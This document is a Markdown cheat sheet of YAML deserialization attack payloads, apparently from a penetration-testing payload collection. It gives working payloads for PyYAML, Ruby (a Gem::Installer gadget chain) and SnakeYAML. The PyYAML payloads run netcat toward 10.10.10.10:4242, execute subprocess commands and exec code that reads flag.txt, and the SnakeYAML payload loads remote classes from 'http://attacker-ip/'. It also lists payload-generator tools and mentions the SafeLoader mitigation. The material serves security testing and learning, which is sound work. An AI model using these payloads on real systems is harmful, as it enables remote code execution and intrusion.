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104 lines
3.5 KiB
Markdown
104 lines
3.5 KiB
Markdown
# YAML Deserialization
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> YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
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## Summary
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* [Tools](#tools)
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* [Methodology](#methodology)
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* [PyYAML](#pyyaml)
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* [ruamel.yaml](#ruamelyaml)
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* [Ruby](#ruby)
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* [SnakeYAML](#snakeyaml)
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* [References](#references)
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## Tools
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* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)
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* [artsploit/yaml-payload](https://github.com/artsploit/yaml-payload) - A tiny project for generating SnakeYAML deserialization payloads
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* [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
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## Methodology
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### PyYAML
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```yaml
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!!python/object/apply:time.sleep [10]
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!!python/object/apply:builtins.range [1, 10, 1]
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!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
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!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
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!!python/object/new:subprocess [["ls","-ail"]]
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!!python/object/new:subprocess.check_output [["ls","-ail"]]
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```
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```yaml
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!!python/object/apply:subprocess.Popen
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- ls
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```
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```yaml
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!!python/object/new:str
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state: !!python/tuple
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- 'print(getattr(open("flag\x2etxt"), "read")())'
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- !!python/object/new:Warning
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state:
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update: !!python/name:exec
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```
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Since PyYaml version 6.0, the default loader for ```load``` has been switched to SafeLoader mitigating the risks against Remote Code Execution.
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[PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420)
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The vulnerable sinks are now ```yaml.unsafe_load``` and ```yaml.load(input, Loader=yaml.UnsafeLoader)```
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```
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with open('exploit_unsafeloader.yml') as file:
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data = yaml.load(file,Loader=yaml.UnsafeLoader)
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```
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## Ruamel.yaml
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## Ruby
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```ruby
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---
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- !ruby/object:Gem::Installer
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i: x
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- !ruby/object:Gem::SpecFetcher
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i: y
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- !ruby/object:Gem::Requirement
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requirements:
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!ruby/object:Gem::Package::TarReader
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io: &1 !ruby/object:Net::BufferedIO
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io: &1 !ruby/object:Gem::Package::TarReader::Entry
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read: 0
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header: "abc"
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debug_output: &1 !ruby/object:Net::WriteAdapter
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socket: &1 !ruby/object:Gem::RequestSet
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sets: !ruby/object:Net::WriteAdapter
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socket: !ruby/module 'Kernel'
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method_id: :system
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git_set: sleep 600
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method_id: :resolve
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```
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## SnakeYAML
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```yaml
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!!javax.script.ScriptEngineManager [
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!!java.net.URLClassLoader [[
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!!java.net.URL ["http://attacker-ip/"]
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]]
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]
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```
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## References
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- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
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- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
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- [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
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- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/) |